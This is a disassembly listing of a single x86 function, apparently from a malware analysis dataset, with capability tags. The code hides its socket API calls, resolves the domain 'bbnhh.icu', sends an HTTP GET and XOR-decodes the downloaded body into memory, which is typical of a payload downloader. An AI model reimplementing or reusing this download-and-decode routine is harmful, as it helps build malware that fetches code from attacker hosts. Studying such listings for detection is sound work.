Function at 0x100018f0
Capabilities:
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x11ec
call fcn.10004ca0
mov eax, dword [0x1002702c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.socket]
mov dword [ebp - 0x18], eax
movzx eax, word [0x10022c48]
mov word [ebp - 0x14], ax
movzx eax, byte [0x10022c4a]
mov byte [ebp - 0x12], al
mov eax, dword [str.send]
mov dword [ebp - 0x11e4], eax
movzx eax, byte [0x10022c50]
mov byte [ebp - 0x11e0], al
mov eax, dword [str.htons]
mov dword [ebp - 0x11ec], eax
movzx eax, word [0x10022c58]
push ebx
mov word [ebp - 0x11e8], ax
mov eax, dword [0x1002969c]
push esi
cdq
push edi
mov esi, edx
mov dword [ebp - 0x11dc], ecx
mov edi, eax
mov dword [ebp - 0xc], 0x6e6e6f63
push esi
push edi
lea ecx, [ebp - 0x18]
mov dword [ebp - 8], 0x746365
call fcn.10001830
push esi
push edi
lea ecx, [ebp - 0xc]
mov dword [0x10029698], eax
call fcn.10001830
push esi
push edi
lea ecx, [ebp - 0x11e4]
mov dword [0x10029694], eax
call fcn.10001830
push esi
push edi
lea ecx, [ebp - 0x11ec]
mov dword [0x1002958c], eax
call fcn.10001830
mov ecx, dword [0x10027b74]
add esp, 0x20
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x10029484], eax
mov ecx, dword [ecx]
test ecx, ecx
jne 0x10001a26
lea eax, [ebp - 0x11d8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, dword [sym.imp.WS2_32.dll_gethostbyname]
xor esi, esi
cmp esi, 3
jge 0x100019f4
push dword [0x100296d0]
jmp 0x100019f9
push str.bbnhh.icu
call ebx
push 0x3e8
mov edi, eax
inc esi
call dword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x100019e7
mov eax, dword [edi + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [0x10027b74]
mov dword [eax], ecx
mov eax, dword [0x10029484]
mov dword [ebp - 0x1044], ecx
mov ecx, 2
push 0x50
mov word [ebp - 0x1048], cx
call eax
push 0
push 1
push 2
mov word [ebp - 0x1046], ax
call dword [0x10029698]
mov edi, eax
lea eax, [ebp - 0x1048]
push 0x10
push eax
push edi
mov dword [ebp - 0x11e4], edi
call dword [0x10029694]
test eax, eax
je 0x10001a8d
nop dword [eax + eax]
push 0x10
lea eax, [ebp - 0x1048]
push eax
push edi
call dword [0x10029694]
push 0x3a98
mov esi, eax
call ebx
test esi, esi
jne 0x10001a70
push 0x104
call fcn.100042aa
movq xmm0, qword [str.GET_http:__]
add esp, 4
mov ecx, dword [0x10022c70]
mov esi, eax
lea eax, [ebp - 0x24]
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1c], ecx
push dword [ebp - 0x11dc]
push 0x10027af9
push dword [0x100296d0]
push eax
push str._s_s_s_s_r_n
push esi
call fcn.100010d0
mov ecx, esi
add esp, 0x18
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001ae0
push 0
sub ecx, edx
push ecx
push esi
push edi
call dword [0x1002958c]
cmp eax, 0xffffffff
jne 0x10001aff
push edi
jmp 0x10001cbe
push 0x1000
lea eax, [ebp - 0x1038]
push 0
push eax
call fcn.10005c50
add esp, 0xc
mov dword [ebp - 0x11dc], 0
mov ebx, 1
xor esi, esi
nop word [eax + eax]
push 0
push 0x1000
lea eax, [ebp - 0x1038]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
movq xmm0, qword [str.404_Not_F]
mov edi, eax
mov cx, word [0x10022c88]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1038]
movq qword [ebp - 0x18], xmm0
push eax
mov word [ebp - 0x10], cx
mov dword [ebp - 0xc], 0x20303034
mov dword [ebp - 8], 0x646142
call fcn.100052b0
add esp, 8
test eax, eax
jne 0x10001cb8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1038]
push eax
call fcn.100052b0
add esp, 8
test eax, eax
jne 0x10001cb8
test ebx, ebx
je 0x10001c10
test edi, edi
jle 0x10001cb8
mov ecx, dword [0x10027aa4]
movzx eax, byte [ebp - 0x1038]
mov byte [ecx], al
movzx eax, byte [ebp - 0x1037]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 0x1036]
mov byte [ecx + 2], al
movzx eax, byte [ebp - 0x1035]
mov byte [ecx + 3], al
mov eax, dword [0x10027aa4]
mov ecx, dword [eax]
sub ecx, 6
shr ecx, 1
mov dword [eax], ecx
movups xmm0, xmmword [ebp - 0x1020]
mov eax, dword [ebp - 0x1010]
push ecx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], eax
call fcn.100042aa
add esp, 4
mov dword [0x10027aa0], eax
xor ecx, ecx
jmp 0x10001c16
xor ecx, ecx
test edi, edi
jle 0x10001c47
test ebx, ebx
je 0x10001c2e
cmp ecx, 0x2c
jne 0x10001c2e
mov al, byte [ebp - 0x38]
lea esi, [ecx - 0x2b]
xor byte [ebp + ecx - 0x1038], al
jmp 0x10001c42
mov al, byte [ebp + esi - 0x38]
inc esi
xor byte [ebp + ecx - 0x1038], al
xor eax, eax
cmp esi, 0x14
cmovge esi, eax
inc ecx
cmp ecx, edi
jl 0x10001c16
push edi
lea eax, [ebp - 0x1038]
xor ebx, ebx
push eax
mov eax, dword [0x10027aa0]
add eax, dword [ebp - 0x11dc]
push eax
call fcn.100056d0
add dword [ebp - 0x11dc], edi
lea eax, [ebp - 0x1038]
add esp, 0xc
push 0x1000
push ebx
push eax
call fcn.10005c50
add esp, 0xc
test edi, edi
mov edi, dword [ebp - 0x11e4]
jg 0x10001b30
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [0x10027aa4]
add dword [eax], 0xffffffd4
lea eax, [ebx + 1]
add dword [0x10027aa0], 0x2c
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003dfa
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x11e4]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10003dfa
mov esp, ebp
pop ebp
ret